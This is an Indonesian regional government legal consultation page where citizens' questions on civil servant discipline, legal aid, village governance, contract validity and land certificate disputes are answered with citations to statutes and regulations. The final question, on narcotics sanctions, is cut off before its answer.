Konsultasi Hukum

Konsultasi Hukum

Silahkan isi formulir berikut untuk menyampaikan kritik, saran dan pertanyaan.

(Sekretariat Daerah)

Jam Operasional

Hari Kerja:
Senin - Jum'at: 08.00 s/d 16.00 WITA

Libur:
Sabtu, Minggu & Libur Nasional

  • Pertanyaan dari : Hartati

    Saya sering melihat ASN yang sering ngumpul-ngumpul di warung kopi saat jam kerja dengan seragamnya sepertinya tidak ada kerjaan dan santai- santai gitu, apa tugas dan peran seorang Aparatur Sipil Negara

    Assalamualaikum Bu Hartati,

    Terima kasih telah berkunjung ke laman website JDIH Bagian Hukum Setkab. Kutai Kartanegara. Kami sangat mengapresiasi pertanyaan yang ibu sampaikan.

    Terkait dengan pertanyaan ibu melalui laman website kami, apa tugas dan peran seorang Aparatur Sipil Negaa.

    Berdasarkan UU No 20 Tahun 2023 tentang Aparatur Sipil Negara atau yang lebih sering di singkat dengan ASN adalah Peraturan Perundang-Undangan yang mengatur tentang pengelolaan aparatur sipil Negara di Indonesia.

    Terkait dengan pertanyaan Bu Hartati tersebut tugas seorang ASN menurut UU Nomor 20 Tahun 2023 tentang ASN, pasal 11 meliputi :

    1. Melaksanakan kegiatan publik yang dibuat oleh pejabat pembina kepegawaian sesuai dengan ketentuan Peraturan Perundang-Undangan
    2. Memberikan pelayanan publik yang professional dan
    3. Mempererat persatuan dan kesatuan Negara Kesatuan Republik Indonesia.

    Adapun peran dari seorang ASN (pasal 12 UU No 20 TAhun 2023 tentang ASN) berperan sebagai perencana, pelaksana dan pengawas penyelenggaraan tugas umum pemerintahan dan pembangunan nasioanal melalui kebijakan dan pelayanan publik yang professional, bebas dari intervensi politik, serta bebas dari korupsi, kolusi dan nepotisme.

     

    Demikian jawaban dari kami terkait dengan tugas dan peran seorang Aparatur Sipil Negara, sepert yang ibu tanyakan melalui laman website JDIH, semoga bermanfaat dan terima kasih.

    Hormat Kami,

     

    Tim Pengasuh

  • Pertanyaan dari : Wati Sukmawangi

    Apa sanksi bagi PNS yang sering bolos kerja?

    Selamat Siang, salam sejahtera Ibu Wati, terima kasih telah berkunjung dan mengakses website JDIH Bagian Hukum Setkab Kutai Kartanegara.

    Aturan mengenai disiplin PNS tercantum dalam Peraturan Pemerintah Nomor 94 Tahun 2021 Tentang Disiplin Pegawai Negeri Sipil (PNS), di dalamnya memuat hukuman atau sanksi disiplin jika PNS melanggar kewajiban.

     

    Terdapat berbagai jenis Sanksi Disiplin bagi PNS yang sering bolos kerja atau tidak masuk kerja tanpa keterangan yang sah, dimana jenis sanksi tergantung dengan jumlah hari tidak masuk kerja tanpa keterangan yang sah/bolos yang dilakukan oleh PNS tersebut.

    Berikut jenis sanksi dan ancaman hukuman berdasarkan Undang-Undang ASN dan Peraturan Pemerintah Nomor 94 Tahun 2021.

    Sanksi Disiplin Ringan (Pasal 8 ayat (1) huruf a dan ayat (2) jo.  Pasal 9 ayat (2) huruf b PP 94 Tahun 2021)

    Sanksi Disiplin Ringan, dalam bentuk teguran, baik secara lisan ataupun tertulis.

    1. tidak masuk kerja tanpa keterangan yang sah/bolos 3 hari dalam setahun, akan diberi teguran lisan.
    2. tidak masuk kerja tanpa keterangan yang sah/bolos 4-7 hari dalam setahun, akan mendapat teguran secara tertulis.
    1. tidak masuk kerja tanpa keterangan yang sah/bolos 7-10 hari, akan diberi surat pernyataan tidak puas.

    Sanksi Disiplin Sedang (Pasal 8 ayat (1) huruf  dan ayat (3) jo.  Pasal 10 ayat (2) huruf f PP 94 Tahun 2021)

    Sanksi Disiplin Sedang dalam bentuk pemotongan Tunjangan kinerja (tukin).

    1. Bolos kerja 11-13 hari dalam setahun, akan mendapat sanksi pemotongan Tunjangan Kinerja sebesar 25 persen selama 6 bulan.
    2. Bolos kerja 14-16 hari setahun, akan mendapat sanksi pemotongan Tunjangan Kinerja sebesar 25 persen selama 9 bulan.
    1. Jika bolos kerja 17-20 hari, akan memberi sanksi pemotongan Tunjangan Kinerja sebesar 25 persen selama 12 bulan.

    Sanksi Disiplin Berat (Pasal 52 ayat (3) huruf g dan ayat (4) UU ASN jo. Pasal 8 ayat (1) huruf c dan ayat (4) jo.  Pasal 11 ayat (2) huruf d PP 94 Tahun 2021)

    Sanksi Disiplin Berat dalam bentuk Penurunan jabatan hingga Pemecatan.

    1. Penurunan jabatan setingkat lebih rendah selama 12 bulan bagi yang tidak masuk kerja tanpa alasan yang sah secara kumulatif selama 21-24 hari kerja dalam satu tahun.
    2. Pembebasan dari jabatannya menjadi jabatan pelaksana selama 12 bulan bagi yang tidak masuk kerja tanpa alasan yang sah secara kumulatif selama 25- 27 hari kerja dalam satu tahun.
    3. Pemberhentian tidak dengan hormat sebagai PNS, bagi yang bolos kerja tanpa alasan yang sah secara kumulatif selama 28 hari kerja atau lebih dalam satu tahun.
    4. Pemberhentian tidak dengan hormat sebagai PNS bagi PNS yang tidak masuk kerja tanpa alasan yang sah secara terus menerus selama 10 hari kerja.

     

    Sebagai tambahan informasi, bagi PNS yang pernah dijatuhi hukuman disiplin                       dan mengulangi pelanggaran yang sifatnya sama, maka dapat dijatuhi                                       jenis hukuman disiplin lebih berat dari hukuman terakhir.

    Selanjutnya untuk penjatuhan sanksi sebagaimana disebut diatas haruslah terlebih dahulu dilakukan pemeriksaan oleh pejabat yang berwenang kepada yang bersangkutan, dan dari hasil pemeriksaan tersebut jika terbukti maka penjatuhan sanksi dapat dilaksanakan.

     

    Demikian jawaban dari kami, semoga bermanfaat.

    Salam hormat,

    Tim Pengasuh

  • Pertanyaan dari : Ibu Amel

    Selamat Sore, Ijin bertanya apakah ada bantuan pembiayaan dari Pemerintah untuk permasalahan hukum bagi Masyarakat yang tidak mampu dari segi ekonomi?

    Selamat sore Ibu Amel.

    Kami sangat mengapresiasi ibu sudah mengakases website kami dan mengajukan konsultasi hukum.

    Terkait pertanyaan saudara mengenai pemberian bantuan hukum kepada Masyarakat tidak mampu, secara nasional telah diatur oleh Pemerintah dalam Undang-Undang Nomor 16 Tahun 2011 tentang Bantuan Hukum, Peraturan Pemerintah Nomor 42 Tahun 2013 tentang Syarat dan Tata Cara Pemberian Bantuan Hukum dan Penyaluran Dana Bantuan Hukum, Peraturan Menteri Hukum dan Hak Asasi Manusia Nomor 10 Tahun 2015 tentang Peraturan Pelaksanaan Peraturan Pemerintah Nomor 42 Tahun 2013 tentang Syarat dan Tata Cara Pemberian Bantuan Hukum dan Penyaluran Dana Bantuan Hukum yang telah diubah dengan Peraturan Menteri Hukum dan Hak Asasi Manusia Nomor 63 Tahun 2016.

    Sedangkan untuk di wilayah Kalimantan Timur, Pemerintah Provinsi Kalimantan Timur dan Pemerintah Daerah Kabupaten Kutai Kartanegara telah menerbitkan Peraturan Daerah Prov Kalimantan Timur Nomor 5 Tahun 2019 tentang Penyelenggaraan Bantuan Hukum dan Peraturan Daerah Kabupaten Kutai Kartanegara Nomor 13 Tahun 2020 tentang Penyelenggaraan Bantuan Hukum

    Bahwa untuk tambahan informasi, dalam memperoleh Bantuan Hukum, pemohon bantuan hukum harus memenuhi  syarat-syarat berdasarkan  peraturan perundang-undangan dimana pemohon bantuan mengajukan permohonan, misal apabila ingin mengajukan permohonan bantuan hukum ke Pemerintah Provinsi Kalimantan Timur, maka berdasarkan Pasal 18 Peraturan Daerah Provinsi Kalimantan Timur Nomor 5 Tahun 2019, syarat yang harus dipenuhi sebagai berikut:

    1. Mengajukan permohonan Bantuan Hukum secara tertulis atau lisan kepada Pemberi Bantuan Hukum.
    2. Permohonan paling sedikit memuat:
    • identitas Pemohon atau calon Penerima Bantuan Hukum; dan
    • uraian singkat mengenai pokok persoalan yang dimintakan Bantuan Hukum.

     

    1. Permohonan juga harus melampirkan:
    • foto copy Kartu Tanda Penduduk dan/atau bukti identitas diri lain yang sah dan masih berlaku yang dikeluarkan oleh instansi yang berwenang;
    • surat keterangan miskin dari Lurah, Kepala Desa atau pejabat yang setingkat di tempat tinggal pemohon Bantuan Hukum; dan
    • dokumen yang berkenaan dengan perkara.
    1. Apabila pemohon Bantuan Hukum tidak memiliki surat keterangan miskin, pemohon Bantuan Hukum dapat melampirkan:
    • kartu jaminan kesehatan masyarakat;
    • kartu keluarga sejahtera;
    • kartu beras miskin;
    • kartu Indonesia pintar;
    • kartu Indonesia sehat;
    • kartu perlindungan sosial; atau
    • dokumen lain sebagai pengganti surat keterangan miskin

    Bahwa untuk menyampaikan permohonan di atas, diajukan kepada Pemberi Bantuan Hukum yaitu Lembaga Bantuan Hukum yang telah terakreditasi dan memiliki kantor tetap di wilayah Kalimantan Timur serta pemohon tidak diperbolehkan untuk mengajukan permohonan kepada lebih dari 1 (satu) Pemberi Bantuan Hukum untuk perkara/permasalahan yang sama.

    Demikian saran kami atas pertanyaan konsultasi anda.

     

    Salam hormat,

     

    Tim Pengasuh

     

  • Pertanyaan dari : Marlina

    Apakah seorang Kepala Desa yang sedang menjabat jika ingin mencalonkan diri kembali harus mundur dari jabatannya?

    Selamat Siang Bu Marlina, terima kasih telah berkunjung dan mengakses website JDIH Kabupaten Kutai Kartanegara.

     

    Berkaitan dengan konsultasi hukum yang ibu sampaikan kepada kami, sebagaimana disebutkan dalam syarat calon kepala desa, pada dasarnya kepala desa dapat mencalonkan kembali menjadi calon kepala desa selama tidak menjabat lebih dari 2 kali masa jabatan.

    Hal demikian dipertegas dengan ketentuan masa jabatan kepada desa yang tercantum dalam Pasal 39 UU 3/2024, yang berbunyi:

    1. Kepala desa memegang jabatan selama 8 tahun terhitung sejak tanggal pelantikan.
    2. Kepala desa sebagaimana dimaksud pada ayat (1) dapat menjabat paling banyak 2 kali masa jabatan secara berturut-turut atau tidak secara berturut-turut.

    Masa jabatan kepala adalah selama 8 tahun terhitung sejak tanggal pelantikan dan dapat dijabat selama 2 kali masa jabatan. Badan Permusyawaratan Desa (BPD) harus memberitahukan kepada Kepala Desa mengenai akan berakhirnya masa jabatan kepala desa secara tertulis 6 bulan sebelum masa jabatannya berakhir.

     

    Menjawab pertanyaan Anda,  bagi kepala desa yang ingin mencalonkan diri kembali menjadi kepala desa dibolehkan tanpa harus dilakukan pengunduran diri, selama kepala desa yang bersangkutan memenuhi syarat calon kepala desa.

     

    Walaupun demikian, terdapat ketentuan yang menyatakan bahwa kepala desa yang mencalonkan diri kembali diberi cuti. Hal ini diatur dalam Pasal 42 ayat (1) PP 43/2014, sebagai berikut:

    Kepala desa yang akan mencalonkan diri kembali diberi cuti sejak ditetapkan sebagai calon sampai dengan selesainya pelaksanaan penetapan calon terpilih.

     

    Jadi walaupun tidak diharuskan untuk mengundurkan diri, akan tetapi kepala desa yang ingin mencalonkan diri kembali harus cuti sejak tahap pencalonan sampai dengan tahap penetapan. Selama cuti ini, tugas kepala desa dan kewajiban kepala desa dilaksanakan oleh sekretaris desa, berdasarkan Peraturan Menteri Dalam Negeri No. 112 Tahun 2014.

    Demikian jawaban dari kami, semoga bermanfaat.

     

    Salam hormat,

     

    Tim Pengasuh

     

  • Pertanyaan dari : Kamarudin

    Perjanjian dapat dibatalkan atau batal demi hukum, jelaskan apa perbedaan antara keduanya?

    Selamat Siang Bapak Kamarudin, terima kasih telah berkunjung dan mengakses website JDIH Bagian Hukum Setkab Kutai Kartanegara.

    Sehubungan dengan konsultasi hukum yang bapak sampaikan, Perjanjian dapat dibatalkan atau batal demi hukum adalah dua konsep berbeda dalam hukum perjanjian, khususnya dalam Hukum Perdata Indonesia. Perjanjian menurut Pasal 1313 KUHPerdata didefinisikan sebagai suatu perbuatan dimana satu orang atau lebih mengikatkan dirinya terhadap satu orang lain atau lebih lainnya.

    Agar hubungan Hukum setiap orang yang terikat melalui perjanjian itu sah, harus memenuhi syarat-syarat sebagaimana diatur dalam pasal 1320 KUHPerdata yaitu:

    1. Sepakat antara kedua belah pihak; Sepakat antar kedua belah pihak artinya harus ada persetujuan atau kesepakatan para pihak yang membuat perjanjian , tidak boleh ada paksaan atau tekanan, melainkan perjanjian harus atas dasar kehendak sendiri.
    1. Para pihak cakap hukum; Cakap hukum bahwa setiap orang cakap melakukan perbuatan hukum kecuali yang oleh Undang-Undang dinyatakan tidak cakap.
    1. Suatu hal tertentu; Suatu hal tertentu artinya dalam sebuah perjanjian harus mengenai objek tertentu, misalnya memberikan sesuatu, berbuat sesuatu, atau tidak berbuat sesuatu.
    1. Suatu sebab yang halal; Suatu sebab yang halal yaitu isi dan tujuan perjanjian haruslah berdasarkan hal-hal yang tidak bertentangan dengan Undang-Undang kesusilaan dan ketertiban.

    Jadi Perjanjian Dapat dibatalkan atau batal demi hukum dapat dijelaskan sebagai berikut:

    1. Perjanjian dapat dibatalkan (Vernietigbaar)

        Sepakat dan Cakap Hukum dalam syarat sahnya perjanjian merupakan syarat subyektif dari sebuah perjanjian. Jika suatu perjanjian tidak memenuhi syarat subyektif (kesepakatan dan/atau kecakapan), akibatnya perjanjian dapat dibatalkan.

    Perjanjian dapat dibatalkan atau Voidable artinya perjanjian yang sah secara formal tetapi mengandung cacat kehendak atau dilakukan oleh pihak yang tidak cakap hukum, sehingga salah satu pihak dapat meminta pembatalan. Perjanjiannya sendiri tetap mengikat kedua belah pihak, selama tidak dibatalkan (oleh hakim) atas permintaan pihak yang berhak meminta pembatalan dari perjanjian tersebut. Ini diatur di Pasal 1320 (1) dan (2), 1321-1330 KUHPerdata.

     

     

    1. Perjanjian Batal demi Hukum (Nietig)

    Suatu hal tertentu dan suatu sebab yang halal dalam syarat sahnya perjanjian merupakan syarat obyektif dari sebuah perjanjian, jika suatu perjanjian tidak memenuhi syarat obyektif (suatu hal tertentu dan/atau suatu sebab yang halal) akibatnya perjanjian batal demi hukum.

    Perjanjian batal demi hukum artinya adalah perjanjian batal, dari semula tidak pernah dilahirkan suatu perjanjian dan tidak pernah ada suatu perikatan. Atau dikenal dengan sebutan null and void, perjanjian ini yang dari awal sudah tidak sah karena bertentangan dengan syarat sahnya perjanjian. Ini diatur di Pasal 1320 (3) dan (4), 1335-1337 KUHPerdata.

    Demikian jawaban dan penjelasan dari kami terkait Perjanjian dapat dibatalkan atau batal demi hukum sebagaimana yang ditanyakan saudara, semoga bermanfaat dan kami ucapkan terima kasih.

     

    Salam Hormat,

     

    Tim Pengasuh

  • Pertanyaan dari : Sulistyo

    Jika terdapat sertifikat tanah ganda, apa upaya hukum yang dapat dilakukan?

    Assalamualaikum Wr Wb

    Selamat Siang Bapak Sulistyo, terima kasih telah berkunjung dan mengakses melaui website JDIH Bagian Hukum Setkab Kutai Kartanegara.

    Menjawab pertanyaan saudara sampaikan bahwa Jika terdapat sertifikat tanah ganda, apa upaya hukum yang dapat dilakukan?

    Sertifikat merupakan pegangan yang kuat dalam pembuktian hak miliknya, sebab dikeluarkan oleh instansi yang sah dan berwenang secara hukum, namun kasus sertifikat ganda masih kerap terjadi diwilayah Indonesia yang mengakibatkan para pemegang sertifikat tanah saling menuding satu sama lain bahawa sertifikat yang mereka miliki adalah benar, apa langlah atau apa upaya hukum bila terjadi adanya sertifikat ganda tersebut.

    Sebagaimana Pasal 1 angka 20 Peraturan Pemerintah Nomor 24 tahun 1997 berbunyi Sertifikat adalah surat tanda bukti hak sebagaimana dimaksud dalam Pasal 19 ayat (2) huruf c UUPA untuk hak atas tanah, hak pengelolaan, tanah wakaf, hak milik atas satuan rumah susun dan hak tanggungan yang masing-masing sudah dibukukan dalam buku tanah yang bersangkutan. Jadi upaya hukum yang dapat dilakukan yaitu:

    1. Penyelesaian Sengketa Melalui BPN

    Pasal 1 angka 5 Permen ATR/Kepala BPN 21/2020 menyebutkan bahwa, pengaduan sengketa dan  konflik yang selanjutnya disebut pengaduan adalah keberatan yang diajukan oleh pihak yang merasa dirugikan atas suatu produk hukum Kementrian Agraria dan Tata Ruang/ Badan Pertanahan Nasional, Kantor Wilayah Badan Pertanahan Nasional, Kantor Pertanahan sesuai kewenangannya atau merasa dirugikan oleh pihak lain menyangkut penguasaan dan/atau kepemilikan bidang tanah tertentu.

    Kemudian dalam Pasal 6 (1) Permen ATR/Kepala BPN 21/2020 menyebutkan penanganan sengketa dan konflik dilakukan melalui tahapan :

    1. pengkajian kasus;
    2. gelar awal;
    3. penelitian;
    4. ekspos hasil penelitian;
    5. rapat koordinasi;
    6. gelar akhir;
    7. penyelesaian kasus.

    Lebih lanjut dalam Pasal 34 ayat (2) dan ayat (3) Peraturan Menteri ATR/Kepala BPN Nomor 21 tahun 2020 menyebutkan yaitu:

    Pasal 34 ayat (2) dalam hal terdapat satu atau beberapa sertifikat tumpang tindih dalam satu bidang tanah baik seluruhnya maupun sebagian maka terhadap sertifikat dimaksud dilakukan penanganan sebagaimana dimaksud dalam Pasa 6 (1).

    Pasal 34 ayat (3) pembatalan dilakukan terhadap sertifikat yang berdasarkan hasil penaganan sebagaimana dimaksud pada ayat (2) diperoleh fakta terdapat cacat administrasi dan/atau cacat yuridis.

    1. Penyelesaian Sengketa Melalui PTUN

    Selain mengajukan pengaduan kepada Kantor BPN, trhadap permasalahan sertifikat tanah ganda tersebut, dapat juga mengajukan gugatan pembatalan terhadap salah satu dari sertifikat ganda, Pihak yang merasa dirugikan dapat menggugat tindakan administratif tersebut ke Pengadilan Tata Usaha Negara (PTUN) sebagaimana diatur dalam Pasal 53 Undang-Undang Nomor 5 Tahun 1986.

    1. Membuat Laporan Kepada Pihak Kepolisian

    Apabila ditemukan indikasi pemalsuan sertifikat ha katas tanah, maka melaporkan ke pihak Kepolisian bisa menjadi langkah yang dapat diambil, adapun laporan tersebut terkait dengan dugaan pemalsuan sertifikat, penyerobotan tanah dan tindak pidana lainnya.

    Demikian jawaban dan penjelasan dari kami terkait jika terdapat sertifikat tanah ganda, apa upaya hukum yang dapat dilakukan sebagaimana yang ditanyakan saudara, semoga bermanfaat dan kami ucapkan terima kasih.

    Salam Hormat,

    Tim Pengasuh

  • Pertanyaan dari : Ansorullah jamal

    Mohon diupload dokumken perbupnya

    Selamat siang Pak Anasrullah Jamal

    Terima kasih sudah mengakses website Jaringan Dokumentasi dan Informasi Hukum Pemerintah Daerah Kabupaten Kutai Kartanegara.

     

    Terima kasih atas saran dan masukan dari bapak yang sangat membangun. Terhadap Peraturan Bupati Kutai Kartanegara No. 40 Tahun 2022, telah kami upload pada website kami dan dapat diakses oleh masyarakat tanpa dipungut biaya.

     

    Demikian rubrik kami, terima kasih.

    Salam hormat,

    Tim Pengasuh

  • Pertanyaan dari : ANDRA

    APAKAH DESA PUNYA KEWENANGAN YANG DAPAT DIATUR DAN DILAKSANAKAN SENDIR OLEH DESA

    Assalamualaikum

    Halo Bapak ANDRA,

    Terima kasih sudah mengakses dan memanfaatkan Website JDIH Bagian Hukum Pemerintah Daerah Kabupaten Kutai Kartanegara.

    Kami mengapresiasi konsultasi hukum yang anda sampaikan melalui website JDIH.

     

    Sebelum kami menjawab pertanyaan Saudara, kami sampaikan dikarenakan Saudara tidak menyebutkan apakah “Desa” yang saudara tanyakan apakah termasuk Desa Adat, maka kami asumsikan “Desa” yang saudara tanyakan tidak termasuk dengan kewenangan “Desa Adat”.

    Mengenai Kewenangan Desa didalam peraturan perundang-undangan diatur dalam Undang-Undang No. 6 Tahun 2014 tentang Desa (beserta perubahannya) jo. Peraturan Pemerintah No. 43 Tahun 2014 tentang Peraturan Pelaksanaan Undang-Undang Nomor 6 Tahun 2o14 Tentang Desa (beserta perubahannya) jo. Peraturan Pemerintah No. 11 Tahun 2021 tentang Badan Usaha Milik Desa jo. Peraturan Menteri Dalam Negeri Republik Indonesia Nomor 44 Tahun 2016 tentang Kewenangan Desa.

     

    Berdasarkan peraturan perundang-undangan tersebut diatas, terdapat 2 (dua) jenis asal kewenangan desa  yakni, kewenangan yang dapat diatur dan dilaksanakan/diurus sendiri oleh Desa (jenis kewenangan yang bersumber dari atribusi) dan kewenangan yang dilaksanakan/diurus oleh Desa (jenis kewenangan yang bersumber dari pendelegasian).

     

    Jenis kewenangan Desa yang dapat diatur dan dilaksanakan sendiri oleh Desa terdiri dari:

    1. Kewenangan Berdasarkan Hak Asal Usul yaitu hak yang prakarsa merupakan warisan yang masih hidup dan prakarsa Desa atau masyarakat Desa sesuai dengan perkembangan kehidupan masyarakat, antara lain sistem organisasi masyarakat adat, kelembagaan, pranata dan hukum adat, tanah kas Desa, serta kesepakatan dalam kehidupan masyarakat Desa.

          Kewenangan ini paling sedikit terdiri dari :

    1. sistem organisasi masyarakat adat;
    2. pembinaan kelembagaan masyarakat;
    3. pembinaan lembaga dan hukum adat;
    4. pengelolaan tanah kas Desa; dan
    5. pengembangan peran masyarakat Desa

     

    1. Kewenangan Lokal Berskala Desa yaitu kewenangan untuk mengatur dan mengurus kepentingan masyarakat Desa yang telah dijalankan oleh Desa atau mampu dan efektif dijalankan oleh Desa atau yang muncul karena perkembangan Desa dan prakasa masyarakat Desa.
    • Kewenangan ini paling sedikit terdiri dari :
    1. pengelolaan tambatan perahu;
    2. pengelolaan pasar Desa;
    3. pengelolaan tempat pemandian umum;
    4. pengelolaan jaringan irigasi;
    5. pengelolaan lingkungan permukiman masyarakat Desa;
    6. pembinaan kesehatan masyarakat dan pengelolaan pos pelayanan terpadu;
    7. pengembangan dan pembinaan sanggar seni dan belajar;
    8. pengelolaan perpustakaan Desa dan taman bacaan;
    9. pengelolaan embung Desa;
    10. pengelolaan air minum berskala Desa; dan
    11. pembuatan jalan Desa antarpermukiman ke wilayah pertanian.

     

    1. Bahwa selain kewenangan yang telah disebutkan diatas (yang telah disebutkan didalam peraturan perundang-undangan), Desa juga dapat mempunyai kewenangan-kewenangan lain berdasarkan Hak Asal Usul dan/atau berdasarkan kewenangan lokal berskala desa yang ditetapkan oleh Pemerintah Daerah berdasarkan hasil identifikasi dan inventarisasi dengan melibatkan/mengikutsertakan Pemerintah Desa.

     

    Sedangkan Jenis Kewenangan Desa yang dilaksanakan oleh Desa (Desa tidak mempunyai kewenangan untuk mengatur), terdiri dari:

    1. Kewenangan yang ditugaskan oleh Pemerintah, pemerintah daerah provinsi, atau pemerintah daerah kabupaten/kota.
    2. Kewenangan lain yang ditugaskan oleh Pemerintah, pemerintah daerah provinsi, atau pemerintah daerah kabupaten/kota sesuai dengan ketentuan peraturan perundang-undangan.
    3. Mendirikan Badan Usaha Milik Desa.

     

    Maka menjawab pertanyaan Saudara, berdasarkan yang telah kami uraikan diatas, Desa mempunyai kewenangan untuk mengatur dan melaksanakan kewenangannya berdasarkan Hak asal usul dan/atau kewenangan lokal berskala desa, akan tetapi perlu diingat dalam menjalankan kewenangan-kewenangan tersebut, Desa harus terlebih dahulu menetapkan dalam Peraturan Desa yang pembentukannya mengacu kepada Peraturan Menteri Dalam Negeri Nomor 111 Tahun 2014 tentang Pedoman Teknis Peraturan di Desa yang disesuaikan dengan Undang-Undang tentang Pembentukan Peraturan Perundang-Undangan.

     

    Demikian jawaban kami atas pertanyaan saudara, semoga bermanfaat.

    TIM PENGASUH

  • Pertanyaan dari : Sulistyo

    Apa yang terjadi jika atasan langsung tidak melakukan pemanggilan dan pemeriksaan terhadap ASN yang diduga melakukan pelanggaran disiplin?

    Selamat Siang Bapak Sulistyo  

    Terima kasih telah berkunjung dan mengakses melalui website JDIH Bagian Hukum Setkab Kukar.

    Kami sangat mengapresiasi pertanyaan yang bapak sampaikan.

    Bahwa Pertanyaan yang Bapaksampaikan melalui laman website kami, jika atasan langsung tidak melakukan pemanggilan dan pemeriksaan terhadap PNS yang diduga melakukan pelanggaran disiplin.

    Sebelum kami menjawab pertanyaan saudara, perlu kami sebutkan mengenai definisi Pelanggaran Disiplin berdasarkan ketentuan Umum dalam Pasal 1 angka 6 Peraturan Pemerintah Nomor 94 Tahun 2021 berbunyi “setiap ucapan, tulisan, atau perbuatan PNS yang tidak menaati kewajiban dan/atau melanggar larangan ketentuan Disiplin PNS, baik yang dilakukan di dalam maupun di luar jam kerja

    Terkait dengan pertanyaan yang disampaikan saudara, terhadap atasan langsung yang tidak melakukan pemanggilan dan pemeriksaan terhadap PNS yang diduga melakukan pelanggaran disiplin, maka ada potensi kelalaian/pelanggaran prosedur oleh atasan tersebut dan dampaknya bakal terhambatnya proses pemeriksaan disiplin yang melakukan pelanggaran dan atasan langsungnya dapat dikenakan sanksi apabila tidak melaksanakan kewajibannya sebagaimana diatur dalam ketentuan sebagai berikut :

    1. Pasal 27 ayat (1), ayat (2), ayat (3) dan ayat (4) Peraturan Pemerintah Nomor 94 Tahun 2021 berbunyi :
    • Atasan langsung wajib memeriksa PNS yang diduga melakukan Pelanggaran Disiplin sebelum PNS dijatuhi Hukuman Disiplin.
    • Pemeriksaan sebagaimana dimaksud pada ayat (1) dilakukan secara tertutup melalui tatap muka langsung maupun secara virtual dan hasilnya dituangkan dalam bentuk berita acara pemeriksaan.
    • Dalam hal hasil pemeriksaan sebagaimana dimaksud pada ayat (2) menyatakan kewenangan menjatuhkan Hukuman Disiplin merupakan kewenangan atasan langsung, maka atasan langsung tersebut wajib menjatuhkan Hukuman Disiplin.
    • Dalam hal sesuai hasil pemeriksaan sebagaimana dimaksud pada ayat (2) menyatakan kewenangan penjatuhan Hukuman Disiplin merupakan kewenangan pejabat yang lebih tinggi, maka atasan langsung wajib melaporkan berita acara pemeriksaan dan hasil pemeriksaan secara hierarki.
    1. Pasal 28 ayat (1) dan ayat (2) Peraturan Pemerintah Nomor 94 Tahun 2021 ketentuan dalam berbunyi:
    • Atasan langsung yang tidak melakukan pemanggilan dan pemeriksaan terhadap PNS yang diduga melakukan Pelanggaran Disiplin, dan/atau melaporkan hasil pemeriksaan kepada Pejabat yang Berwenang menghukum dijatuhi Hukuman Disiplin.
    • Pejabat yang Berwenang Menghukum menjatuhkan Hukuman Disiplin yang lebih berat kepada atasan langsung sebagaimana dimaksud pada ayat (1) dilakukan setelah melalui proses pemeriksaan.

     

      Demikian jawaban dari kami terkait dengan atasan langsung tidak melakukan pemanggilan dalam pemeriksaan terhadap PNS yang diduga melakukan pelanggaran disiplin sebagaimana ditanyakan oleh Saudara, semoga bermanfaat dan terima kasih.     

    Salam Hormat

     

    Tim Pengasuh

  • Pertanyaan dari : Burhan

    Apa sanksi jika seorang Aparatur Sipil Negara terlibat politik praktis?

    Selamat Siang Pak Burhan, Terima kasih telah berkunjung ke laman website JDIH Bagian Hukum Setkab. Kutai Kartanegara

    Terkait dengan pertanyaan bapak melalui laman website kami, apa sanksi jika seorang ASN terlibat  politik praktis

     

    Menurut UU No 7 Tahun 2017 tentang Pemilihan umum yang telah diubah dengan Undang-Undang Nomor 7 Tahun 2023 (selanjutnya disebut UU Pemilu) mengenai sanksi bagi Aparatur Sipil Negara diancam dengan sanksi pidana sebagaimana disebutkan dalam Pasal 494 yang menyebutkan “Setiap aparatur sipil negara, anggota Tentara Nasional Indonesia dan Kepolisian Negara Republik Indonesia, kepala desa, perangkat desa, dan/atau anggota badan permusyawaratan desa yang melanggar larangan sebagaimana dimaksud dalam Pasal 280 ayat (3) dipidana dengan pidana kurungan paling lama I (satu) tahun dan denda paling banyak Rp12.000.000,00 (dua belas juta rupiah)”.

    Kemudian berdasarkan Undang-Undang Nomor 1 Tahun 2015 tentang Penetapan Peraturan Pemerintah Pengganti Undang-Undang Nomor 1 Tahun 2014 Tentang Pemilihan Gubernur, Bupati, Dan Walikota Menjadi Undang-Undang yang telah diubah terakhir dengan Undang-Undang Nomor 6 Tahun 2020 (yang selanjutnya disebut sebagai UU Pilkada) mengenai sanksi bagi Aparatur Sipil Negara yang terlibat politik praktis diatur dalam Pasal 188 yang menyebutkan “Setiap pejabat negara, pejabat Aparatur Sipil Negara, dan Kepala Desa atau sebutan lain/Lurah yang dengan sengaja melanggar ketentuan sebagaimana dimaksud dalam Pasal 71, dipidana dengan pidana penjara paling singkat 1 (satu) bulan atau paling lama 6 (enam) bulan dan/atau denda paling sedikit Rp600.000,00 (enam ratus ribu rupiah) atau paling banyak Rp6.000.000,00 (enam juta rupiah).”

     

    Selain mendapatkan ancaman sanksi pidana yang disebutkan dalam UU Pemilu dan UU Pilkada diatas, sanksi hukuman disiplin juga mengancam Aparatur Sipil Negara apabila terlibat politik praktis karena melanggar kewajiban sebagai ASN, hal ini diatur dalam Undang-Undang Nomor 20 Tahun 2023 tentang Aparatur Sipil Negara (selanjutnya disebut UU ASN) jo. Peraturan Pemerintah Nomor 94 Tahun 2021 tentang Disiplin Pegawai Negeri Sipil.

    Dalam Pasal 24 ayat (2) UU ASN menyebutkan “Pegawai ASN yang tidak menaati kewajiban sebagaimana dimaksud pada ayat (1) dikenakan pelanggaran disiplin dan dijatuhi hukuman disiplin.” Kemudian jenis hukuman disiplin yang dapat dikenakan kepada Aparatur Sipil Negara terdiri dari jenis hukuman disiplin Tingkat sedang dan hukuman disiplin Tingkat berat sebagaimana diatur dalam Pasal 13 huruf g dan Pasal 14 huruf i Peraturan Pemerintah Nomor 94 Tahun 2021 tentang Disiplin Pegawai Negeri Sipil

     

    Berdasarkan apa yang telah kami jelaskan diatas, maka menjawab pertanyaan Saudara sanksi bagi Aparatur Sipil Negara apabila terlibat politik praktis terancam dengan sanksi Pidana (sebagaimana diatur dalam UU Pemilu dan UU Pilkada) dan juga dikenakan Sanksi Kepegawaian berupa Hukuman Disiplin (sebagaimana diatur dalam UU ASN dan PP tentang Disiplin PNS).

     

    Demikian jawaban dari kami terkait dengan jika seorang Aparatur Sipil Negara terlibat politik praktis, seperti yang bapak tanyakan melalui laman website JDIH, semoga bermanfaat dan terima kasih.

     

    Salam Hormat,

     

    Tim Pengasuh

  • Pertanyaan dari : Abiel

    Apa sanksi atau hukuman bagi pemakai obat terlarang/narkotika dan apa saja peran pemerintah Terhadap keberadaan Narkotika di Indonesia?

      Selamat Pagi Pak Abiel

